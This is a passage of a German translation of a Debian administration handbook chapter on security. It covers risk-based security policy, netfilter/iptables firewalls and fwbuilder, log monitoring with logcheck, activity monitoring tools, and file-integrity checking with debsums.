[ 1 ] [ 2 ] [ 3 ] [ 4 ] [ 5 ] [ 6 ] [ 7 ] [ 8 ] [ 9 ] [ 10 ] [ 11 ] [ 12 ] [ 13 ] [ 14 ] [ 15 ] [ 16 ] [ 17 ] [ 18 ]

Kapitel 14


Anzahl der Absätze: 427

Project-Id-Version: 0 POT-Creation-Date: 2012-05-09T20:00:22 PO-Revision-Date: 2012-05-09T20:00:22 Last-Translator: Automatically generated Language-Team: None MIME-Version: 1.0 Content-Type: application/x-publican; charset=UTF-8 Content-Transfer-Encoding: 8bit


Firewall


Netzfilter


IDS/NIDS


Sicherheit


Ein Informationssystem kann unterschiedlich wichtig sein, je nach Umgebung in der es eingesetzt wird. Manchmal ist es für ein Unternehmen lebensnotwendig. Deshalb muss es vor verschiedensten Risiken geschützt werden. Das Vorgehen, diese Risiken zu identifizieren, den passenden Schutz festzulegen und zu implementieren, nennt man allgemein den IT-Sicherheitsprozess.


Festlegen einer Sicherheitsstrategie


VORSICHT Umfang dieses Kapitels


IT-Sicherheit ist ein riesiges und heikles Feld, wir können nicht den Anspruch erheben, dies in umfassender Weise in einem einzelnen Kapitel zu beschreiben. Wir werden nur einige der wichtigsten Punkte umreißen und einige Wekzeuge und Methoden beschreiben, die für das IT-Sicherheitsumfeld von Nutzen sein können. Zur Vertiefung gibt es reichlich Literatur, ganze Bücher sind diesem Thema gewidmet worden. Ein hervorragender Einstieg dafür ist Linux Server Security by Michael D. Bauer (published by O'Reilly)


Hinter dem Begriff "Sicherheit" verbergen sich eine ganze Reihe von Konzepten, Werkzeugen und Verfahren, die alle nur Teilaspekte abdecken. Eine Auswahl läßt sich nur anhand einer klaren Zielsetzung treffen. Ein System "sicher" zu machen beginnt mit einigen wenigen Fragen. Überstürzt einige zufällig ausgewählte Werkzeuge zu installieren birgt das Risiko, sich in weniger wichtigen oder gar nutzlosen Details zu verlieren.


An erste Stelle steht deshalb die Erarbeitung des zu erreichenden Ziels. Ein guter Ansatz ist es, sich folgende Frage zu stellen:


WAS wollen wir schützen? Die Sicherheitsrichtlinie wird anders aussehen, abhängig davon ob wir einen Computer schützen wollen oder Daten. Bei letzteren müssen wir auch noch wissen, welche Daten das sind.


Wovor wollen wir uns schützen? Vor Abfluss von vertraulichen Informationen? Vor Datenverlust? Vor geringeren Erträgen oder gar Verlusten wegen nicht verfügbarer IT-Services?


Und ebenso wichtig ist die Frage : vor wem versuchen wir uns zu schützen? IT-Sicherheitsmaßnahmen zum Schutz vor einem Tippfehler durch einen normalen Anwender des Systems unterscheiden sich gravierend von den Maßnahmen zum Schutz vor einem gezielten Angriff einer kriminellen Hackergruppe.


Der Ausdruck Risiko umfasst üblicherweise gewöhnlich diese drei Faktoren: was soll geschützt werden, was soll verhindert werden und wer will was erreichen. Dieses Risiko zu modellieren erfordert die Beantwortung aller dre Fragen. Vom Risikomodell können Sicherheitsregularien abgeleitet werden und diese Regularien können durch konkrete Maßnahmen in die Infrastruktur implementiert werden.


AnmerkungMuss ständig hinterfragt werden Was ist hier gemeint?


Bruce Schneier, ein weithin anerkannter Sicherheistexperte nicht nur für Computersicherheit, setzt einem der gängigen Sicherheitsmythen ein Motto entgegen: "Sicherheit ist ein Prozess, kein Produkt." Die zu schützenden Objekte ändern sich mit der Zeit, genauso wie die Bedrohungen und die Werkzeuge (und Ziele) der Angreifer. Selbst wenn eine Sicherheitsrichtlinie anfänglich wirkungsvoll entworfen und implemenetiert wurde, darf man sich nicht aus seinen Lorbeeren ausruhen. Die Risikopotentiale entwickeln sich weiter und die Antwort muss jeweils entsprechend ausfallen.


Andere Einschränkungen müssen ebenfalls bedacht werden, da sie die denkbaren Regelungen weiter einschränken. Wie weit wollen wir die Sicherheit eines Systems treiben? Diese Frage hat einen wesentlichen Einfluss auf das einzuführende Regelwerk. Zu oft wird die Fage nur über monetäre Größen entschieden, aber andere Gesichtspunkte sollten genauso bedacht werden, zum Beispiel das Maß an Unbequemlichkeit für die Anweder oder ein Verlust an Performance.


Wenn das Risiko einmal modelliert ist, kann man daran denken, das tatsächliche Regelwerk zu entwerfen.


AnmerkungExtreme Regelungen


Es gibt Fälle, in denen einem die Wahl der zu ergreifenden Maßnahmen leicht fällt.


Wenn zum Beispiel ein System nur dazu da ist, ein paar Zahlen am Ende des Tages aufzuaddieren und auf gebrauchter Hardware läuft, dann kann es vernünftig sein, wenig oder gar nichts zum Schutz des Computers zu tun. Der Wert des Gerätes ist gering, es werden keine Daten gespeichert. Ein Angreifer der das System "hackt", bekäme nur Zugriff auf ein primitives Additionsprogramm. Die Kosten, ein solches System abzusichern, wären vermutlich höher als der Schaden durch einen Einbruch.


Am anderen Ende des Spektrums speichern wir vielleicht vertrauliche Informationen, die unter allen Umständen geschützt werden sollen. In diesem Fall wäre es eventuell angemessen, die Daten komplett zu vernichten (die Dateien sicher zu löschen, die benutzte Festplatte zu schreddern und die millimetergroßen Partikel auch noch in Säure aufzulösen usw). Müssen wir die Daten auch noch archivieren (vielleicht nicht notwendigerweise leicht zugänglich), und die entstehenden Kosten spielen weiterhin keine Rolle, dann könnte man sich überlegen, die Daten auf Datenträgern aus einer Platin-Iridium-Legierung zu speichern. Diese könnte man dann in bombensicheren Bunkern, tief in massiven Gebirgen an mehreren natürlich geheimgehaltenen Orten in der Welt und von Armeen bewacht aufbewahren...


Obwohl diese Beispiele extrem erscheinen mögen, wären sie dennoch angemessene Antwort auf die erkannten Risiken, sofern die Maßnahmen das Ergebnis eines (gedachten) Prozesses sind, der zielgerichtet und unter Berücksichtigung der Randbedingungen durchgeführt wurde. Jede Sicherheitsmaßnahme ist sinnvoll, wenn sie hinreichend begründet werden kann.


Meist kann ein Informationssystem in zusammenhängende und weitgehend unabhängige Teilsysteme gegliedert werden. Jedes Teilsystem hat seine eigenen Anforderungen und Randbedingungen und dementsprechend sollten Risikoanalyse und Entwurf der Sicherheitsmaßnahmen für jedes gerennt angegangen werden. Man sollte immer im Hinterkopf behalten, dass wenige und klar definierte Verbindungen nach außen leichter zu überwachen sind als viele offene und unterschiedliche Schnittstellen und Zugänge. Entsprechend sollte das Netzwerk geplant werden. Schutzbedürftige Services sollten auf eine kleine Anzahl Server konzentriert werden und diese Server sollten nur über so wenig wie möglich kontrollierte Zugänge verfügen; diese Zugangspunkte abzusichern ist dann leichter, als alle schützenswerten Maschinen jeweils einzeln gegen alle Gefährdungen von außen abzusichern. Hier wird der Nutzen von Netzwerkfiltern (u.a. durch Firewalls) offensichtlich. Diese Filter können mit dedizierter Hardware, aber möglicherweise einfacher und flexibler mit Software-Lösungen realisiert werden, wie beispielsweise mit der im Linux Kernel integrierten Firewall.


Firewall oder Packet Filterung


Firewall


Paketfilter


ZURÜCK ZU DEN GRUNDLAGEN Firewall


PaketIP


Eine Firewall ist ein Stück Hardware mit einer Software, welche die aus dem lokalen Netzwerk (LAN) ausgehenden Netzwerkpakete oder die eingehenden prüft und nur diejenigen durchläßt, die den bestimmten Bedingungen genügen.


Eine Firewall ist ein Netzwerkzugang mit Filterfunktion, welche nur die Pakete bearbeiten kann, die durch sie hindurchgeleitet werden. Sie ist nur dann wirksam, wenn der Weg über die Firewall der einzige ist, der aus dem Netz hinaus oder hinein führt.


Da die Konfiguration einer Firewall das Ergebnis eines Prozesses ist, gibt es keine Standardkonfiguration und deshalb kann es auch keine Schlüsselfertigen Lösungen geben. Aber es gibt Werkzeuge, die helfen, einen Netzfilter zu konfigurieren, zum Teil mit grafischer Darstellung der Regeln. fwbuilder ist zweifellos einer der besten.


netfilter


SPECIFIC CASE Lokale Firewall


Eine Firewall kann für eine ganz bestimmte Maschine eingesetzt werden (statt für ein ganzes Netzwerk) um zum Beispiel einige der darauf laufenden Services zu filtern oder den Zugriff darauf einzuschränken. Oder es soll möglicherweise der Aufbau von ausgehenden Verbindungen durch Schadsoftware verhindert werden, die ein Anwender absichtlich oder auch unwissentlich installiert haben könnte.


Der Linux 2.6 Kernel enthält die Firewall netfilter. Diese kann man aus einem Benutzer-Prozess (user-space) mit den Befehlen iptables und ip6tables administrieren, das erste Kommando wird für IPv4-Netzwerke, das letztere für IPv6 verwendet. Da beide Protokolle voraussichtlich noch für einige Jahre in Gebrauch sein werden, werden auch beide Werkzeuge benötigt.


iptables


ip6tables


Verhalten des Netzwerkfilters


netfilter


filter ist für Filterregeln zuständig (akzeptiert Pakete oder verwirft sie);


nat kümmert sich um die Übersezung von Ziel- oder Quelladressen und -Ports der Pakete (diese Tabelle gibt es nur für IPv4);


mangle wird für sonstige Änderungen an den Paketen benutzt (einschließlich dem ToS — Type of Service — und anderer Optionsfelder des IP Pakets);


raw erlaubt weitere manuelle Veränderungen an den Paketen, bevor sie an das Connection Tracking Modul weitergegeben werden.


Jede Tabelle beinhaltet eine Liste von Regeln die chains heißt. Die Firewall verwendet Standard-chains, um Pakete in vordefinierten Situationen zu behandeln. Der Administrator kann weitere chains erstellen, welche aber nur verwendet werden, wenn sie von einer der Standard chains angesprochen werden.


Kette


Filterregel


Die Tabelle filter hat drei Standard chains


INPUT: betrifft Pakete, die an die Firewall geschickt werden;


OUTPUT: behandelt Pakete, die von de Firewall versendet werden;


FORWARD: wirkt auf Pakete, die durchgereicht werden (die Firewall ist weder Ziel noch Quelle).


Die Tabelle nat hat ebenfalls drei Standard chains:


PREROUTING: die Pakete werden beim Eintreffen bearbeitet;


POSTROUTING: Pakete werden vor dem Versenden bearbeitet;


OUTPUT: wirkt auf die Pakete, die von der Firewall selbst erzeugt werden.


Wie weden netfilter chains aufgerufen


Jede Kette (Chain) ist eine Sammlung von Regeln; jede Regel besteht aus einem Satz von Bedingungen (conditions) und Aktionen (actions), dieausgeführt werden, wenn die Bedingung zutrifft. Wenn ein (IP-)Paket verarbeitet wird, läuft die Firewall durch die passende Chain, Regel um Regel; sobald eine Regel zutrifft, springt (-j für jump in der Anweisung) zu der angegebenen Aktion und fährt damit fort. Die gängigsten Verhaltensregeln sind standardisiert und feste Aktionen sind dafür vorgesehen. Das Zutreffen einer dieser Standardregeln unterbricht die Verarbeitung der Chain, da das Schicksal des Pakets damit schon besiegelt ist (abgesehen von einer Ausnahme, siehe weiter unten):


ZURÜCK ZU DEN GRUNDLAGEN ICMP


Das (Internet Control Message Protocol) Protokoll wird beutzt, um Verbindungsinformationen auszutauschen. Mit dem Kommando ping (das einen ICMP echo request sendet, worauf der Empfänger mit einem ICMP echo reply antwortet) kann man prüfen, ob ein Netzwerkpartner erreichbar ist. ICMP meldet, ob eine Firewall ein Paket zurückgewiesen hat, zeigt einen Überlauf in einem Empfangspuffer an oder schlägt eine bessere Route für die folgenden Pakete vor usw. Diese Protokoll ist in mehreren RFCs beschrieben; die ursprüngliche RFCs 777 und 792 wurden schon bald vervollständigt und erweitert.


Hinweis: ein Empfangspuffer receive buffer ist ein Speicher im Memory, in welchem die Daten bei der Ankunft zwischengepuffert werden, bis sie vom Kernel verarbeitet werden. Wenn dieser Berech voll läuft können keine weiteren Pakete mehr empfangen werden und ICMP meldet das Problem, damit der Absender seine Übertragungsrate (die idealerweise nach einer gewissen Zeit stabil bleiben sollte) senken kann.


ICMP


Internet Control Message Protocol


receive buffer


bufferreceive buffer


ping


Zwar funktioniert IPv4 auch ohne ICMP, IPv6 benötigt ICMPv6 jedoch zwingend, da letzteres einige Funktionen vereint, die bei IPv4 noch verteilt waren auf ICMPv4, IGMP (Internet Group Membership Protocol) und ARP (Address Resolution Protocol). ICMPv6 ist definiert in RFC4443.


ACCEPT: Paket erlaubt;


REJECT: weise das Paket mit einer ICMP Fehlermeldung ab (die Option --reject-with type des Kommandos iptables erlaubt es, den Fehlertyp anzugeben);


DROP: Paket verwerfen (ignorieren);


LOG: protokolliere eine Nachricht mit einer Beschreibung des Pakets (via syslogd): Man beachte, dass dieses Kommando die Verarbeitung nicht abbricht und mit der nächsten Regel in der chain weitermacht, weshalb man beide Regeln, LOG und REJECT/DROP braucht, wenn man abgewiesene Pakete Protokollieren will.


ULOG: schreibe einen Protokolleintrag mittels ulogd, was bei höherem Meldungsaufkommen flexibler gehandhabt werden kann und performanter ist als syslogd; wie LOG setzt auch dieses Kommando die Bearbeitung mit der nächsten Regel in der Kette fort.


chain_name: verzweige zu der chain und arbeite die zugehörigen Regeln ab;


RETURN: beende die Verarbeitung der laufenden chain und springe zurück zu der aufrufenden chain; ist die laufende chain eine Standard-chain dann gibt es keine aufrufende chain und die Default-action (die mit der Option -P beim Kommnado iptables angegeben wurde) wird stattdessen ausgeführt.


SNAT (nur in der Tabelle nat, also auch nur in IPv4): wende Source NAT an (wird durch weitere Optionen genauer spezifiziert);


DNAT (nur in der Tabelle nat, also auch nur in IPv4): wende Destination NAT an (wird durch weitere Optionen genauer spezifiziert);


MASQUERADE ((nur in der Tabelle nat, also auch nur in IPv4): wende masquerading an (ein Sonderfall von Source NAT);


REDIRECT (nur in der Tabelle nat, also auch nur in IPv4):sende das Paket an einen anderen Port der (selben) Firewall; damit kann man einen transparenten Webproxy aufsetzen, der ohne Konfiguration auf Clientseite auskommt, weil der Client davon ausgeht, dass er direkt mit dem Empfänger spricht, die Kommunikation aber tatsächlich über den Proxy läuft.


Andere Aktionen, insbesondere solche die die mangle Tabelle betreffen, würden den Rahmen dieses Buches sprengen. Die iptables 8 und ip6tables 8 haben einen beachtlichen Funktionsumfang.


Syntax von iptables and ip6tables


Die Kommandos iptables und ip6tables lassen eine Manipulation der Tabellen, chains oder Regeln zu. Deren -t table Option gibt die Tabelle an, auf welcher die Operationen ausgeführt werden (standardmäßig ist das filter).


Befehle


Die Option -N chain erzeugt eine neue chain. Die Angabe von -X chain entfernt eine leere und unbenutzte chain. Mit -A chain rule fügt man eine Regel ans Ende der angegebenen chain an. Mittels -I chain rule_numrule fügt man eine Regel vor der Regel mit der rule_num ein. Die Option -D chainrule_num (oder -D chainrule) öscht eine Regel in der chain; Mit der zuerst genannten Syntax wird die zu löschende Regel mit ihrer Nummer, bei der letzteren durch ihren Inhalt bestimmt. Mit der Option -F chain kann man eine chain komplett entleeren (d.h. alle ihre Regeln löschen); wird keine chain angegeben, werden alle Regeln der Tabelle gelöscht. Auflisten kann man die die Regeln einer chain mit -L chain. Und schlussendlich legt -P chainaction die Standardaktion oder "Policy" einer gegebenen chain fest; nur Standard-chains können eine solche Policy besitzen.


Regeln


Jede Regel ist folgendermaßen aufgebaut: conditions -j actionaction_options. Werden mehrere Bedingungen in ein und derselben Regel angegeben, so werden die Bedingungen mit einem logischen UND verknüpft, was mindestens so restriktiv ist wie die Einzelangabe.


Die Bedingung -p protocol wird gegen das Protokollfeld des IP Pakets geprüft. Übliche Werte sind tcp, udp, icmp, und icmpv6. Ein vorangestelltes Ausrufezeichen negiert die Bedingung in der Art, dass bei "jedem Paket mit einem anderen als dem genannten Protokoll" die Regel zutrifft. Dieser Umkehrmechanismus gilt nicht nur bei der Option -p, sondern kann bei allen anderen Bedingungen ebenfalls angewandt werden.


Die Bedingung -s Adresse bzw. -s network/mask wird angewendet auf die Quelladresse des Pakets. Entsprechend wirkt die Bedingung -d Adresse bzw. -d network/mask auf die Zieladresse.


Die Bedingung -i interface wählt Pakete, die von dem mit -o interface angegebenen Interface gesendet werden.


Es gibt zusätzliche Bedingungen, welche die oben beschriebenen allgemeinen Bedingungen näher spezifizieren. Beispielsweise können die jeweiligen Ports zu -p tcp mit --source-port port bzw. --destination-port port angegeben werden.


Mit der Bedingung --state state kontrolliert man den Status eines Pakets einer bestehenden Verbindung (das erfordert das Modul ipt_conntrack zur Verfolgung der Verbindungen). Der Status NEW bezieht sich auf ein Paket, mit dem eine neue Verbindung geöffnet wird, wogegen ESTABLISHED Pakete einer bereits bestehenden Verbindung bearbeitet wird und RELATED bezieht sich auf Pakete, die eine neue Verbindung abhängig von einer bestehenden Verbindung öffnen (nützlich z.B. für ftp-data Verbindungen im "aktiv"-mode des Protokolls FTP).


Der vorstehende Abschnitt zählt verfügbare Aktionen, aber nicht deren Optionen auf. Die Aktion LOG beispielsweise, hat folgende Optionen:


--log-priority, mit der Defaulteinstellung warning, legt die Priorität der syslog Meldung fest;


--log-prefix erlaubt es, ein Text-Prefix anzugeben, um geloggte Meldungen unterschiedlich zu kennzeichnen.


--log-tcp-sequence, --log-tcp-options und --log-ip-options fordern zusätzliche Informationen an, die in die Meldungen eingebunden werden sollen, hier also die TCP Sequence Number, die TCP- und die IP-Optionen.


Die nur für IPv4 vorhandene Aktion DNAT stellt die --to-destination address:port Option zur Verfügung, mit der die neue Zieladresse und der neue Port angegeben wird. Analog gibt man bei SNAT mit --to-source address:port die neue Sourceadresse repektive den neuen Sourceport an.


Die --to-ports port(s) Optionie der Aktion REDIRECT (nur für IPv4 verfügbar) gibt den Port bzw. den Port-Bereich an, an den oder an die die Pakete umgeleitet werden sollen.


Regeln erzeugen


Um eine Regel anzulegen, muss jedesmal iptables/ip6tables aufgerufen werden. Das immer von Hand zu starten kann lästig werden, weshalb man üblicherweise die Kommandos in ein Skript schreibt, damit die gleiche Konfiguration bei jedem Boot automatisch wieder eingerichtet wird. Das Skript kann man manuell erstellen oder man verwendet ein high-level Tool wie fwbuilder.


Das Prinzip ist simpel. Im ersten Schritt muss man alle Elemente, die in der aktuellen Regel involviert sind, beschreiben:


die Firewall selbst, mit ihrem Netzwerkinterface;


die Netzwerke mit den dazugehörigen IP-Bereichen;


Die Server


die Ports, die zu den Diensten gehören, welche auf dem Server gehostet werden.


Die Regeln können dann einfach per Drag&Drop auf die Objekte angewandt werden. Mit einigen wenigen kontextsensitiven Menüs können die Bedingungen geändert, beispielsweise verneint werden. Anschließend muss die Aktion ausgewählt und konfiguriert werden.


Insofern IPv6 betroffen ist, kann man entweder zwei Sätze von Regeln anlegen, oder man erstellt nur eine einzige und läßt fwbuilder die Regeln anhand der an die Objekte zugewiesenen Adressen interpretieren.


Hauptfenster des Fwbuilder's


fwbuilder


fwbuilder kann dann ein Skript generieren, das die Firewall gemäß den definierten Regeln konfiguriert. Seine modulare Architekur eröffnet die Möglichkeit Skripte für verschiedene Systeme zu erzeugen, (iptables für Linux 2.4/2.6, ipf für FreeBSD and pf für OpenBSD).


Die Versionen des Pakets fwbuilder seit der Squeeze enthalten sowohl das grafische Interface als auch die Module für jedes Firewall-System (vorher waren diese auf je ein Paket pro Zielsystem verteilt).


# aptitude install fwbuilder


Installieren der Reglen bei Systemstart


Soll die Firewall eine unregelmäßig hergestellte PPP-Verbindung schützen, so ist es am einfachsten, ein Skript mit dem Namen /etc/ppp/ip-up.d/0iptables anzulegen (man beachte, dass nur Files ohne Punkt im Namen funktionieren). Die Firewallregel wird so jedesmal geladen, wenn eine PPP-Verbindung hergestellt wird.


In anderen Fällen sollte man das Konfigurationsskript in einer up Direktive in der Datei /etc/network/interfaces registrieren. Im folgenden Beispiel ist das Skript unter dem Namen /usr/local/etc/arrakis.fw abgelegt.


Die Datei interfaces ruft das Firewallskript


auto eth0 iface eth0 inet static address 192.168.0.1 network 192.168.0.0 netmask 255.255.255.0 broadcast 192.168.0.255 up /usr/local/etc/arrakis.fw


Aufsicht: Vorbeugung, Entdeckung, Abschreckung


monitoring


Monitoring ist ein integrierter Bestandteil einer jeden Security Policy, aus verschiedenen Gründen. Einer davon ist, dass IT-Sicherheit normalerweise nicht nur Vertraulichkeit, sondern auch Verfügbarkeit der Services gewährleisten soll. Es ist deshalb zwingend zu überprüfen, dass alles wie erwartet funktioniert und unerwartetes Verhalten oder verminderte Qualität der zur Verfügung gestellten Services frühzeitig erkannt wird. Monitoring kann helfen Eindringversuche zu erkennen und ermöglicht damit eine rechtzeitige Reaktion, bevor Schaden angerichtet werden kann. Dieser Abschnitt betrachtet einige Werkzeuge die man verwenden kann, um verschiedene Teile eines Debian-Systems zu überwachen. Er vervollständigt den Abschnitt der dem allgemeinen Monitoring in gewidmet ist.


Überwachen von Logs mit logcheck


logcheck


ProtokolleÜberwachung


Überwachung


Das Programm logcheck überwacht Protokolldateien standardmäßig jede Stunde. Es schickt E-Mails mit ungewöhnlichen Protokollmeldungen zur weiteren Analyse an den Administrator.


Die Liste der überwachten Dateien ist in /etc/logcheck/logcheck.logfiles abgespeichert; die Standardeinstellungen funktionieren gut, falls die Datei /etc/syslog.conf nicht vollständig überarbeitet worden ist.


logcheck kann in drei mehr oder weniger detaillierten Modi laufen: Paranoid, Server und Arbeitsplatzrechner. Der erste ist very ausführlich und sollte wohl auf bestimmte Server, wie zum Beispiel Firewalls, beschränkt bleiben. Der zweite (Standard-)Modus wird für die meisten Server empfohlen. Der letzte ist für Arbeitsplatzrechner bestimmt und ist noch knapper (er unterdrückt mehr Nachrichten).


In allen drei Fällen sollte logcheck wohl so angepasst werden, dass es einige zusätzliche Meldungen ausschließt (in Abhängigkeit von den installierten Diensten), es sei denn, dass der Administrator tatsächlich jede Stunde Bündel langer uninteressanter E-Mails empfangen möchte. Da das Verfahren der Meldungsauswahl recht komplex ist, ist /usr/share/doc/logcheck-database/README.logcheck-database.gz eine notwendige - wenn auch anspruchsvolle - Lektüre.


Die verwendeten Regeln können in mehrere Arten unterteilt werden:


solche, die eine Meldung als einen Einbruchsversuch einstufen (in einer Datei im Verzeichnis /etc/logcheck/cracking.d/ gespeichert);


solche, die eine derartige Einstufung aufheben (/etc/logcheck/cracking.ignore.d/);


solche, die eine Meldung als Sicherheitswarnung einordnen (/etc/logcheck/violations.d/);


solche, die diese Einordnung aufheben (/etc/logcheck/violations.ignore.d/);


und schließlich solche, die auf die übrigen Meldungen zutreffen (als sogenannte Systemvorfälle angesehen werden).


VORSICHT Eine Meldung ignorieren


Eine Meldung, die als Einbruchsversuch oder als Sicherheitswarnung markiert worden ist (infolge einer Regel, die in der Datei /etc/logcheck/violations.d/myfile gespeichert ist), kann nur aufgrund einer Regel in den Dateien /etc/logcheck/violations.ignore.d/myfile oder /etc/logcheck/violations.ignore.d/myfile-extension ignoriert werden.


Ein Systemvorfall wird immer angezeigt, es sei denn, eine Regel in einem der Verzeichnisse des Typs /etc/logcheck/ignore.d.{paranoid,server,workstation}/ bestimmt, dass der Vorfall ignoriert werden soll. Es werden natürlich nur die Verzeichnisse berücksichtigt, deren Ausführlichkeitsgrad gleich dem oder höher als der ausgewählte Betriebsmodus ist.


TIP Ihre Protokolle als Bildschirmhintergrund


Einige Administratoren möchten ihre Protokollmeldungen gerne in Echtzeit durchlaufen sehen; der Befehl root-tail (im Paket root-tail) kann dazu verwendet werden, die Protokolle in den Hintergrund der grafischen Arbeitsfläche zu integrieren. Das Programm xconsole (im Paket x11-apps) kann sie ebenfalls in einem kleinen Fenster durchlaufen lassen. Meldungen werden direkt aus syslogd über die Pipe /dev/xconsole entnommen.


root-tail


ProtokolleAnzeige


Aktivitäten überwachen


ÜberwachungAktivität


Aktivität, Überwachung


In Echtzeit


top ist ein interaktives Hilfsprogramm, das eine Liste der gegenwärtig laufenden Prozesse anzeigt. Die voreingestellte Reihenfolge hängt vom momentanen Umfang der Prozessornutzung ab und kann mithilfe der P-Taste abgerufen werden. Andere Sortierreihenfolgen sind unter anderem nach belegtem Speicher (M-Taste), nach gesamter Prozessorzeit (T-Taste) und nach Prozesskennung (N-Taste). Mit der k-Taste kann ein Prozess abgebrochen werden, indem seine Kennung eingegeben wird. Die r-Taste ermöglicht das renicing eines Prozesses, das heißt, die Änderung seiner Priorität.


top


Wenn das System überlastet zu sein scheint, ist top ein großartiges Instrument, um zu sehen, welche Prozesse um die Prozessorzeit konkurrieren oder zuviel Speicher verbrauchen. Insbesondere ist es häufig interessant, zu überprüfen, ob die Prozesse, die Ressourcen verbrauchen, den tatsächlichen Diensten entsprechen, die der Rechner bekanntermaßen beherbergt. Ein unbekannter Prozess, der unter dem Benutzernamen www-data läuft, sollte wirklich hervorstechen und kann untersucht werden, da er möglicherweise ein Software-Exemplar ist, das durch eine Schwachstelle in einer Web-Anwendung auf dem System installiert wurde und ausgeführt wird.


top ist ein sehr flexibles Programm und seine Handbuchseite beschreibt ausführlich, wie seine Anzeige individuell eingerichtet und an die persönlichen Bedürfnisse und Gewohnheiten angepasst werden kann.


Die grafischen Hilfsprogramme gnome-system-monitor und qps sind top ähnlich und bieten im Großen und Ganzen die gleichen Leistungsmerkmale.


TIP Visuelle Aktivitätsdarstellung


Für stärker visuelle (und unterhaltsamere) Darstellungen der Rechneraktivität sollte man sich die Pakete lavaps, bubblemon und bubblefishymon näher ansehen. lavaps zeigt laufende Prozesse als Wachsblasen in einer Lavalampe an. bubblemon ist ein Applet für die Bildschirmleiste, das den Speicherverbrauch und die Prozessorauslastung als Blasen in einem Aquarium darstellt. bubblefishymon ist recht ähnlich, nur dass es zusätzlich Fische anzeigt, die den Netzverkehr darstellen (und sogar eine Ente).


gnome-system-monitor


lavaps


bubblefishymon


bubblemon


Geschichte / Verlauf


Aktivität, Verlauf


Prozessorauslastung, Netzverkehr und freier Plattenplatz sind Informationen, die sich ständig ändern. Es ist häufig nützlich, den Verlauf ihrer Entwicklung zu erfassen, um genau feststellen zu können, wie der Rechner genutzt wird.


SNMP


Simple Network Management Protocol


Für diese Aufgabe gibt es zahlreiche spezialisierte Hilfsprogramme. Die meisten von ihnen können Daten über SNMP (Simple Network Management Protocol) einholen, um diese Informationen an einer Stelle zusammenzufassen. Ein weiterer Nutzen besteht darin, dass auf diese Weise Daten von Netzwerkelementen eingeholt werden können, die keine Universalrechner sind, wie spezialisierte Netzwerkrouter oder -schalter.


Dieses Buch behandelt Munin ausführlich als Teil von (siehe ). Debian stellt auch ein ähnliches Hilfsprogramm bereit: cacti. Sein Einsatz ist etwas komplizierter, da es ausschließlich auf SNMP aufbaut. Obwohl es eine Web-Schnittstelle hat, benötigt das Verständnis der Konzepte, die an der Konfigurierung beteiligt sind, noch einige Anstrengung. Die Lektüre der HTML-Dokumentation (/usr/share/doc/cacti/html/index.html) sollte als Voraussetzung angesehen werden.


ALTERNATIVE mrtg


mrtg


mrtg (in dem Paket ähnlichen Namens) ist ein älteres Hilfsprogramm. Trotz einiger Ecken und Kanten kann es Verlaufsdaten zusammenfassen und als Diagramme anzeigen. Es enthält eine Reihe spezieller Skripte, zur Sammlung der am häufigsten überprüften Daten, wie Prozessorlast, Netzverkehr, Webseitenzugriffe und so weiter.


Die Pakete mrtg-contrib und mrtgutils enthalten Beispielskripte, die direkt verwendet werden können.


Änderungen erkennen


Nachdem das System installiert und konfiguriert ist, gibt es, abgesehen von Sicherheitsaktualisierungen, normalerweise keinen Grund, dass Dateien und Verzeichnisse sich weiterentwickeln, Daten ausgenommen. Es ist daher interessant sicherzustellen, dass Dateien sich in der Tat nicht ändern: jede unerwartete Veränderung wäre daher eine Untersuchung wert. Dieser Abschnitt stellt einige Hilfsprogramme vor, die Dateien überwachen und den Administrator warnen können, wenn eine unerwartete Veränderung auftritt (oder einfach derartige Veränderungen auflisten).


Pakete auditieren: debsums und seine Grenzen


debsums


WEITERE SCHRITTE Schutz vor vorgelagerten Veränderungen


debsums ist nützlich zur Entdeckung von Änderungen an Dateien, die aus einem Debian-Paket stammen. Jedoch ist es nutzlos, falls das Paket selbst beschädigt ist, weil zum Beispiel der Debian-Spiegelserver kompromittiert wurde. Um sich gegen diese Art von Angriffen zu schützen, ist es erforderlich, APTs Verifikationssystem für digitale Signaturen zu benutzen (siehe ) und darauf zu achten, nur Pakete zertifizierten Ursprungs zu installieren.


debsums ist ein interessantes Hilfsprogramm, da es mit ihm möglich ist, herauszufinden, welche der installierten Dateien verändert worden sind (möglicherweise von einem Angreifer). Jedoch sollte dies mit Vorsicht aufgenommen werden. Vor allem auch, weil nicht alle Debian-Pakete die von diesem Programm benötigten digitalen Fingerabdrücke bereitstellen (sie sind, falls vorhanden, in /var/lib/dpkg/info/paket.md5sums zu finden). Fingerabdruck Kontrollsumme MD5 SHA1 Zur Erinnerung: ein Fingerabdruck ist ein Wert, häufig eine Zahl (wenn auch in hexadezimaler Schreibweise), die eine Art Signatur für den Inhalt der Datei enthält. Diese Signatur wird mit einem Algorithmus berechnet (MD5 und SHA1 sind bekannte Beispiele), der mehr oder weniger garantiert, dass selbst kleinste Veränderungen des Dateiinhalts eine Änderung des Fingerabdrucks bewirken; dies wird als "Lawineneffekt" bezeichnet. Es ermöglicht es, einen einfachen numerischen Fingerabdruck als Lackmustest zu verwenden, um zu überprüfen, ob der Inhalt einer Datei verändert wurde. Diese Algorithmen sind nicht umkehrbar; mit anderen Worten, bei den meisten von ihnen ermöglicht die Kenntnis eines Fingerabdrucks es nicht, den dazugehörigen Inhalt zu finden. Jüngste mathematische Fortschritte schwächen anscheinend die absolute Gültigkeit dieser Prinzipien, aber ihre Verwendung ist bisher nicht infragegestellt, da es wohl nach wie vor eine recht schwierige Aufgabe ist, einen anderen Inhalt zu erstellen, der denselben Fingerabdruck ergibt.


Außerdem sind die md5sums-Dateien auf der Festplatte gespeichert; ein sorgfältiger Angreifer wird daher diese Dateien aktualisieren, so dass sie die neuen Kontrollsummen für die unterwanderten Dateien enthalten.


Der erste Missstand kann dadurch vermieden werden, dass man debsums anweist, seine Überprüfungen auf ein .deb-Paket zu gründen, anstatt sich auf die md5sums-Datei zu verlassen. Hierzu müssen jedoch zunächst die passenden .deb-Dateien heruntergeladen werden:


# apt-get --reinstall -d install `debsums -l` [ ... ] # debsums -p /var/cache/apt/archives -g


Es sei auch darauf hingewiesen, dass debsums in seiner Standardkonfiguration automatisch die fehlenden md5sums-Dateien erstellt, wann immer ein Paket mit APT installiert wird.


